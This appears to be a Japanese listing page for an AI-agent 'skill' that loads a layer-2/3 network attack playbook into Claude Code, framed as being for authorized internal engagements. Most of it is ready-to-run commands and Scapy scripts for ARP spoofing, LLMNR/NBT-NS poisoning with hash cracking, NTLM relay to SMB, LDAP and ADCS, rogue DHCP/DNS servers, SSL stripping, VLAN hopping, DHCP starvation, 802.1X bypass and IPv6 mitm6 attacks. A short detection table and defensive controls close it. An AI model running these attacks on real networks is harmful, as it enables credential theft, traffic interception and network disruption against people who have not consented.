offensive-network-attacks について
許可された内部演習向けに、レイヤー 2 とレイヤー 3 の攻撃手法をまとめたセキュリティスキルです。トラフィック傍受、名前解決ポイズニング、VLAN・DHCP 攻撃、NAC 回避、IPv6 の悪用を扱います。
主な機能
- 01ARP スプーフィングと MITM
- 02LLMNR、NBT-NS、mDNS のポイズニング
- 03DNS と DHCP の攻撃
- 04VLAN ホッピング手法
- 05802.1X と NAC の回避
- 06IPv6 攻撃手法
活用シーン
- 01内部演習でのレイヤー 2/3 の露出評価
- 02名前解決と認証情報保護のテスト
- 03ネットワーク分割とアクセス制御の評価
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-network-attacksインストール後、Claude Code で/offensive-network-attacksを入力して読み込まれたか確認します。
詳細
ネットワーク攻撃(レイヤー 2/3)――攻撃手法
許可を得た社内エンゲージメントで、レイヤー 2/3 のインフラストラクチャを攻撃しています。ARP、DHCP、ブロードキャストによる名前解決、VLAN トランキング、IPv6 自動設定にはいずれも認証がありません。この信頼を悪用して、認証情報を傍受し、トラフィックをリダイレクトし、ネットワーク境界を越えます。
クイックワークフロー
- 自分の位置を把握します。VLAN、サブネット、ゲートウェイ、DNS、DHCP リース、IPv6 の状態を確認します。
- tcpdump/Wireshark でパッシブスニッフィングを行い、ホストと平文の認証情報を探します。
- Responder を分析モードで実行し、LLMNR/NBT-NS/mDNS クエリを観察します。
- Responder のポイズニングを有効にして、NTLMv2 ハッシュを取得します。
- キャプチャしたハッシュを、SMB 署名が無効なホストに対して ntlmrelayx でリレーします。
- ゲートウェイを ARP スプーフィングし、標的を絞った MITM と認証情報の傍受を行います。
- DTP ネゴシエーションと 802.1Q 二重タグ付けを使って、VLAN の境界を調べます。
- mitm6 で IPv6 自動設定を悪用し、DNS の乗っ取りと NTLM リレーを行います。
ARP スプーフィング
ARP には認証がありません。被害者のキャッシュで自分の MAC アドレスをゲートウェイの IP アドレスに対応付けるために、Gratuitous ARP 応答を送信し、被害者のトラフィックが自分を経由するようにします。
Bettercap ARP モジュール
sudo bettercap -iface eth0
net.probe on # discover live hosts
net.show
set arp.spoof.targets 10.0.0.50 # single target
set arp.spoof.fullduplex true # poison both victim and gateway
arp.spoof on
arpspoof と Ettercap
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 10.0.0.50 10.0.0.1 # tell victim you are the gateway
arpspoof -i eth0 -t 10.0.0.1 10.0.0.50 # tell gateway you are the victim (second terminal)
# Ettercap alternative
sudo ettercap -T -M arp:remote /10.0.0.50// /10.0.0.1//
sudo ettercap -T -M arp:remote -F inject.ef /10.0.0.50// /10.0.0.1// # with filter
Scapy による Gratuitous ARP
from scapy.all import Ether, ARP, sendp
import time
pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
op=2, psrc="10.0.0.1", hwsrc="aa:bb:cc:dd:ee:ff", pdst="10.0.0.50"
)
while True:
sendp(pkt, iface="eth0", verbose=False)
time.sleep(2)
静的 ARP エントリの回避
静的エントリがあると、標準的なポイズニングは阻止されます。回避策として、ARP テーブルをあふれさせてホストを動的解決にフォールバックさせる方法、DHCP/DNS 攻撃でレイヤー 3 からリダイレクトする方法、静的エントリのないセグメントから攻撃できるよう VLAN ホッピングを使う方法があります。
LLMNR/NBT-NS/mDNS ポイズニング
DNS に失敗すると、Windows は LLMNR(UDP 5355)、NBT-NS(UDP 137)、mDNS(UDP 5353)にフォールバックします。自分の IP アドレスを指定してこれらのブロードキャストクエリに応答し、被害者が不正なサービスに対して認証を行うよう仕向けます。
Responder のセットアップとハッシュの取得
sudo responder -I eth0 -A # analyze mode -- observe without poisoning
sudo responder -I eth0 -wrf # full poisoning: -w WPAD, -r NBT-NS, -f fingerprint
# Hashes land in /opt/Responder/logs/
hashcat -m 5600 hashes.txt wordlist.txt -r rules/best64.rule # NTLMv2
hashcat -m 5500 hashes.txt wordlist.txt # NTLMv1 (weaker)
WPAD は価値の高い攻撃ベクトルです。ブラウザーは DNS、続いて LLMNR/NBT-NS を使って wpad.dat を問い合わせます。-w フラグを指定すると、Responder は悪意のある WPAD 設定を配信し、ブラウザーのトラフィックから NTLM 認証を透過的に取得します。
Inveigh(Windows ネイティブ)
侵害した Windows ホストから Linux ツールを配置せずにポイズニングを行います。
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y -HTTPS Y -Proxy Y
Inveigh.exe -FileOutput Y -NBNS Y -mDNS Y -HTTP Y -LLMNR Y # C# binary avoids PS logging
ntlmrelayx による NTLMv1/v2 リレー
クラッキングに失敗した場合は、キャプチャした認証を SMB 署名が無効なターゲットにリレーします。Responder.conf で SMB と HTTP を先に無効にしてください。これらのプロトコルは ntlmrelayx が処理します。
nxc smb 10.0.0.0/24 --gen-relay-list no-signing.txt
impacket-ntlmrelayx -tf no-signing.txt -smb2support -c "whoami" # command exec
impacket-ntlmrelayx -tf no-signing.txt -t ldap://10.0.0.10 \
--escalate-user attacker --delegate-access # LDAP privesc
impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController # ADCS ESC8
Responder のポイズニング、PetitPotam、PrinterBug、または DFSCoerce を使って認証を誘発します。
DNS ポイズニング
DNS 攻撃はアプリケーション層でトラフィックをリダイレクトします。名前解決の経路を制御できる場合、レイヤー 2 で隣接している必要はありません。
DHCP オプション 6 による不正な DNS サーバー
DHCP スタベーションの後、または DHCP スヌーピングがないネットワークで、自分の IP を DNS として指定した dnsmasq(オプション 6)を導入します。
# /etc/dnsmasq-rogue.conf:
# interface=eth0
# dhcp-range=10.0.0.100,10.0.0.200,255.255.255.0,12h
# dhcp-option=3,10.0.0.99 # gateway
# dhcp-option=6,10.0.0.99 # DNS
# address=/intranet.corp.local/10.0.0.99
# server=8.8.8.8
sudo dnsmasq -C /etc/dnsmasq-rogue.conf -d
Scapy による DNS キャッシュポイズニング
from scapy.all import IP, UDP, DNS, DNSQR, DNSRR, send
import random
# Flood spoofed responses -- must match in-flight query txid and src port
for txid in range(1, 65535):
pkt = IP(dst="10.0.0.2", src="8.8.8.8") / \
UDP(sport=53, dport=random.randint(1024, 65535)) / \
DNS(id=txid, qr=1, aa=1, qd=DNSQR(qname="intranet.corp.local"),
an=DNSRR(rrname="intranet.corp.local", rdata="10.0.0.99", ttl=86400))
send(pkt, verbose=False)
最新のリゾルバーは送信元ポートとトランザクション ID をランダム化します。実用的な Kaminsky 方式のポイズニングでは、両方のフィールドを同時に一致させる必要があります。
DNS リバインディング
DNS レコードを自分のサーバーと内部 IP の間で切り替えて、同一オリジンポリシーを回避します。
# singularity framework: first resolution serves JS payload, second returns internal target
./singularity -DNSRebindStrategy DNSRebindFromRequest \
-ResponseIPAddr 10.0.0.99 -ResponseReboundIPAddr 192.168.1.1
中間者攻撃(MITM)
ARP スプーフィング、DHCP リダイレクト、またはタップを使って被害者とゲートウェイの間に位置を確保したら、トラフィックを傍受して変更します。
Bettercap HTTP プロキシと SSL ストリップ
sudo bettercap -iface eth0
set arp.spoof.targets 10.0.0.50
set arp.spoof.fullduplex true
arp.spoof on
set http.proxy.sslstrip true
http.proxy on
set net.sniff.verbose true
set net.sniff.regexp .*pass.*|.*user.*|.*login.*
net.sniff on
sslstrip+ と dns2proxy による HSTS の回避
sslstrip+ はドメイン名(例:accounts.google.com を accountss.google.com に)を書き換えるため、ブラウザーは HSTS を適用しません。dns2proxy は書き換えられたドメインを実際の IP に解決します。
arpspoof -i eth0 -t 10.0.0.50 10.0.0.1 # terminal 1
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000 # terminal 2
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 10000
python dns2proxy.py -i eth0 # terminal 3
python sslstrip.py -l 10000 -a -w sslstrip.log # terminal 4
プロキシ経由のトラフィックから認証情報を傍受
tshark -r capture.pcap -Y "http.authbasic" -T fields -e http.authbasic
tshark -r capture.pcap -Y "ftp.request.command == USER || ftp.request.command == PASS" \
-T fields -e ftp.request.command -e ftp.request.arg
python3 Pcredz -f capture.pcap # automated extraction (NTLM, HTTP, FTP, SMTP, SNMP)
sudo python3 net-creds.py -i eth0 # real-time credential sniffer
VLAN ホッピング
スイッチのなりすまし(DTP ネゴシエーション)
スイッチポートが dynamic auto/desirable モード(Cisco の一般的なデフォルト)であれば、トランクをネゴシエートします。
sudo yersinia dtp -attack 1 -interface eth0 # DTP trunk negotiation
sudo tcpdump -i eth0 -nn -e vlan # verify trunk formed
sudo modprobe 8021q
sudo vconfig add eth0 100 # sub-interface for VLAN 100
sudo ifconfig eth0.100 10.100.0.99 netmask 255.255.255.0 up
二重タグ付け(802.1Q)
ネイティブ VLAN 上にいて、スイッチが外側のタグだけを取り除く場合に機能します。一方向の攻撃です。ターゲット VLAN には送信できますが、応答は通常どおりルーティングされ、自分には届きません。
from scapy.all import Ether, Dot1Q, IP, ICMP, ARP, sendp
# Outer tag = native VLAN (1), inner tag = target VLAN (100)
pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / \
Dot1Q(vlan=1) / Dot1Q(vlan=100) / IP(dst="10.100.0.50") / ICMP()
sendp(pkt, iface="eth0")
# Double-tagged ARP poisoning into target VLAN
arp_poison = Ether(dst="ff:ff:ff:ff:ff:ff") / Dot1Q(vlan=1) / Dot1Q(vlan=100) / \
ARP(op=2, psrc="10.100.0.1", hwsrc="aa:bb:cc:dd:ee:ff", pdst="10.100.0.50")
sendp(arp_poison, iface="eth0", count=10, inter=2)
Yersinia のレイヤー 2 攻撃
sudo yersinia stp -attack 4 -interface eth0 # STP root bridge takeover
sudo yersinia cdp -attack 1 -interface eth0 # CDP flood (Cisco switches)
DHCP 攻撃
DHCP 枯渇攻撃
アドレスプールを使い切り、正規のクライアントがアドレスを取得できないようにします。
sudo dhcpstarv -i eth0 # dedicated starvation tool
sudo yersinia dhcp -attack 1 -interface eth0 # Yersinia alternative
from scapy.all import Ether, IP, UDP, BOOTP, DHCP, RandMAC, sendp
import random
for i in range(500):
mac = str(RandMAC())
pkt = Ether(src=mac, dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0", dst="255.255.255.255") / \
UDP(sport=68, dport=67) / BOOTP(chaddr=bytes.fromhex(mac.replace(":", "")),
xid=random.randint(1, 0xFFFFFFFF)) / DHCP(options=[("message-type", "discover"), "end"])
sendp(pkt, iface="eth0", verbose=False)
ゲートウェイをリダイレクトする不正 DHCP サーバー
枯渇攻撃の後、ゲートウェイと DNS に自分の IP を指定してリースを提供します。
# /etc/dnsmasq-rogue.conf: interface=eth0, dhcp-range=10.0.0.100,10.0.0.200,255.255.255.0,12h
# dhcp-option=3,10.0.0.99 (gateway) dhcp-option=6,10.0.0.99 (DNS) dhcp-authoritative
sudo dnsmasq -C /etc/dnsmasq-rogue.conf -d
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
802.1X/NAC のバイパス
MAB のバイパス(MAC スプーフィング)
NAC がプリンターや VoIP 電話に MAC 認証バイパスを使用している場合は、認証済みの MAC を偽装します。
sudo tcpdump -i eth0 -e -c 100 | awk '{print $2}' | sort -u # discover authorized MACs
sudo ip link set eth0 down
sudo ip link set eth0 address AA:BB:CC:DD:EE:FF
sudo ip link set eth0 up && sudo dhclient eth0
ハブ/ブリッジの挿入
認証済みデバイスとスイッチポートの間をブリッジします。802.1X が認証するのはポートであり、個々の MAC ではありません。自分のトラフィックは認証済みセッションを共有します。
sudo ip link add name br0 type bridge
sudo ip link set eth0 master br0 # eth0 to switch
sudo ip link set eth1 master br0 # eth1 to authenticated device
sudo ip link set br0 up
証明書の偽装
EAP-TLS が使用されていて、RADIUS サーバーが CA チェーンを厳密に検証していない場合:
openssl req -new -x509 -days 365 -keyout fake-ca.key -out fake-ca.crt -subj "/CN=Corp-CA/O=Corp"
openssl req -new -keyout client.key -out client.csr -subj "/CN=PRINTER01/O=Corp"
openssl x509 -req -in client.csr -CA fake-ca.crt -CAkey fake-ca.key -CAcreateserial -out client.crt
# wpa_supplicant config: key_mgmt=IEEE8021X, eap=TLS, identity="PRINTER01", certs as above
sudo wpa_supplicant -i eth0 -D wired -c /etc/wpa_supplicant/wired.conf
NAC プロファイリングの回避
想定されるデバイスのフィンガープリント(OUI、DHCP ホスト名、TCP スタック)に合わせます。
sudo macchanger -m 00:1A:4B:XX:XX:XX eth0 # HP printer OUI
sudo dhclient -H "HP-LaserJet-M402" eth0 # expected hostname
sudo iptables -t mangle -A POSTROUTING -j TTL --ttl-set 128 # Windows TTL
IPv6 攻撃
ほとんどの内部ネットワークはデュアルスタックで運用されていますが、IPv6 の監視が不十分です。Windows は IPv4 よりも IPv6 DNS を優先するため、IPv6 DNS サーバーをアドバタイズすると、すべてのクエリが自分を経由するようになります。
mitm6 による SLAAC の悪用
mitm6 は DHCPv6 要求に応答し、自分のホストを DNS として設定します。その後、被害者の名前解決によって NTLM 認証がリレイリスナーに送信されます。
sudo mitm6 -d corp.local -i eth0 # terminal 1: DNS takeover
impacket-ntlmrelayx -6 -t ldaps://dc01.corp.local \
--delegate-access -wh attacker-wpad.corp.local # terminal 2: relay
ルーターアドバタイズメントのスプーフィング
from scapy.all import (Ether, IPv6, ICMPv6ND_RA, ICMPv6NDOptSrcLLAddr,
ICMPv6NDOptPrefixInfo, ICMPv6NDOptRDNSS, sendp)
ra = Ether(dst="33:33:00:00:00:01") / IPv6(dst="ff02::1") / \
ICMPv6ND_RA(routerlifetime=1800) / ICMPv6NDOptSrcLLAddr(lladdr="aa:bb:cc:dd:ee:ff") / \
ICMPv6NDOptPrefixInfo(prefix="fd00::", prefixlen=64, validlifetime=1800) / \
ICMPv6NDOptRDNSS(dns=["fd00::99"], lifetime=1800)
sendp(ra, iface="eth0", loop=1, inter=5)
DHCPv6 ポイズニングと THC-IPV6
sudo atk6-fake_dhcps6 eth0 fd00::99 fe80::1 corp.local # fake DHCPv6 server
sudo atk6-alive6 eth0 # discover IPv6 hosts
sudo atk6-fake_router6 eth0 fd00::/64 # SLAAC prefix injection
sudo atk6-parasite6 eth0 # ICMPv6 neighbor spoofing
sudo atk6-flood_router6 eth0 # RA flood (DoS)
IPv6 経由の NTLM リレー
sudo mitm6 -d corp.local -i eth0 --ignore-nofqdn
impacket-ntlmrelayx -6 -t http://ca.corp.local/certsrv/certfnsh.asp \
-smb2support --adcs --template Machine # relay to ADCS for cert theft
スニッフィングとトラフィック分析
パッシブスニッフィングでは、ノイズは一切発生しません。アクティブな手法を使う前に、まずここから始めます。
tcpdump
sudo tcpdump -i eth0 -w capture.pcap -nn # full capture
sudo tcpdump -i eth0 -w auth.pcap -nn 'port 21 or port 23 or port 25 or port 445 or port 80'
sudo tcpdump -i eth0 -w broadcast.pcap -nn 'udp port 5355 or udp port 137 or udp port 5353'
sudo tcpdump -i eth0 -w dhcp.pcap -nn 'udp port 67 or udp port 68'
Wireshark の表示フィルター
http.authbasic HTTP Basic Auth
ftp.request.command == "PASS" FTP password
smtp.req.parameter contains "AUTH" SMTP auth
ntlmssp NTLM SSP traffic
ntlmssp.auth.username NTLM username
smb2.cmd == 1 SMB session setup
dns.qry.name contains "wpad" WPAD queries
llmnr LLMNR broadcast
arp.duplicate-address-detected ARP anomalies
vlan 802.1Q frames
snmp.community SNMP strings
kerberos.msg.type == 10 Kerberos AS-REQ
認証情報の抽出
python3 Pcredz -f capture.pcap # from pcap
sudo python2 net-creds.py -i eth0 # real-time
tshark -r capture.pcap -Y "http.request.method == POST" \
-T fields -e http.host -e http.request.uri -e urlencoded-form.value # HTTP POST
検知/防御側の視点
| 攻撃 | 主な検知方法 | 主な兆候 |
|---|---|---|
| ARP スプーフィング | ゲートウェイ IP に対する MAC の重複、ARP ストーム | DAI ログ、IDS の ARP 異常シグネチャ |
| LLMNR/NBT-NS ポイズニング | 予期しないマルチキャスト応答、不明なホストへの SMB 認証 | イベント 4697、ネットワーク IDS、LLMNR トラフィックの急増 |
| DNS ポイズニング | DNS 応答の不一致、TTL の異常 | DNS クエリログ、RPZ アラート、DNSSEC 検証の失敗 |
| MITM/SSL ストリップ | HTTPS 専用として知られるサービスでの HTTP、証明書警告 | HSTS プリロードの失敗、プロキシログ、証明書の透明性 |
| VLAN ホッピング | アクセスポートからの DTP フレーム、二重タグ付きフレーム | スイッチポートセキュリティログ、予期しない 802.1Q フレーム |
| DHCP 枯渇攻撃 | ランダムな MAC からの急速な DHCP Discover フラッド | DHCP スヌーピング違反、異常な OUI パターン |
| 不正 DHCP | 複数の DHCP Offer、ゲートウェイ/DNS の競合 | DHCP スヌーピングの信頼済みポート違反 |
| 802.1X のバイパス | MAC フラッピング、認証済みポート上の複数 MAC | ポートセキュリティ違反、802.1X 再認証の失敗 |
| IPv6 SLAAC/DHCPv6 | 予期しない RA、不明な送信元からの DHCPv6 | RA Guard 違反、NDPMon アラート |
| パッシブスニッフィング | NIC のプロミスキャスモード | プロミスキャス検知スクリプト、スイッチ SPAN アラート |
遭遇する防御側の制御:
- Dynamic ARP Inspection(DAI) -- ARP を DHCP スヌーピングテーブルと照合して検証し、ARP スプーフィングをブロックします。
- DHCP Snooping -- DHCP を信頼済みポートに制限し、不正 DHCP と枯渇攻撃を防ぎます。
- Port Security -- ポートごとの MAC 数を制限し、枯渇攻撃と MAB スプーフィングをブロックします。
- RA Guard -- 未承認の Router Advertisement をフィルタリングし、mitm6/SLAAC をブロックします。
- SMB Signing/LDAP Signing+Channel Binding -- NTLM リレーをブロックします。
- Native VLAN の強化(未使用の VLAN をネイティブ VLAN として使用)-- 二重タグ付けを無効にします。
- Private VLAN -- 同一 VLAN 内のホスト間トラフィックを防ぎ、ARP スプーフィングの範囲を制限します。
- NDR(Darktrace、Vectra、ExtraHop)-- 異常なラテラルトラフィックを検知します。
エンゲージメント用チートシート
SCENARIO TECHNIQUE TOOL / COMMAND
------------------------------------ --------------------------- ------------------------------------------------
Harvest creds passively LLMNR/NBT-NS poisoning responder -I eth0 -wrf
Creds captured, won't crack NTLM relay ntlmrelayx -tf targets.txt -smb2support
MITM a specific host ARP spoof + sniff bettercap: arp.spoof on + net.sniff on
Intercept HTTPS traffic SSL strip + HSTS bypass sslstrip+ / dns2proxy / bettercap http.proxy
Reach another VLAN DTP trunk negotiation yersinia dtp -attack 1
Reach VLAN (DTP disabled) Double tagging scapy: Dot1Q(vlan=1)/Dot1Q(vlan=target)
Exhaust DHCP, become gateway Starvation + rogue DHCP dhcpstarv + dnsmasq rogue config
Bypass 802.1X (MAB fallback) MAC spoofing macchanger -m <auth_mac> eth0
Bypass 802.1X (physical) Bridge insertion ip link add br0 type bridge
IPv6 DNS takeover + relay SLAAC/DHCPv6 poisoning mitm6 -d domain + ntlmrelayx -6
Passive recon only Traffic sniffing tcpdump -i eth0 -w capture.pcap
Extract creds from capture Credential extraction PCredz -f capture.pcap / net-creds
Disrupt STP topology STP root bridge attack yersinia stp -attack 4
Poison from Windows foothold Windows-native poisoning Inveigh -LLMNR Y -NBNS Y
MITRE ATT&CK の参照先:
- T1557 -- 中間者攻撃
- T1557.001 -- LLMNR/NBT-NS ポイズニングと SMB リレー
- T1557.002 -- ARP キャッシュポイズニング
- T1557.003 -- DHCP スプーフィング
- T1040 -- ネットワークスニッフィング
- T1599 -- ネットワーク境界のブリッジング
Key References
- Bettercap documentation: https://www.bettercap.org/modules/
- Responder: https://github.com/lgandx/Responder
- mitm6: https://github.com/dirkjanm/mitm6
- Impacket (ntlmrelayx): https://github.com/fortra/impacket
- Ettercap: https://www.ettercap-project.org/
- Yersinia: https://github.com/tomac/yersinia
- THC-IPV6: https://github.com/vanhauser-thc/thc-ipv6
- Inveigh: https://github.com/Kevin-Robertson/Inveigh
- Scapy: https://scapy.readthedocs.io/
- PCredz: https://github.com/lgandx/PCredz
- Singularity (DNS rebinding): https://github.com/nccgroup/singularity
- The Hacker Recipes -- NTLM relay: https://www.thehacker.recipes/ad/movement/ntlm/relay
- MITRE ATT&CK T1557: https://attack.mitre.org/techniques/T1557/
- MITRE ATT&CK T1040: https://attack.mitre.org/techniques/T1040/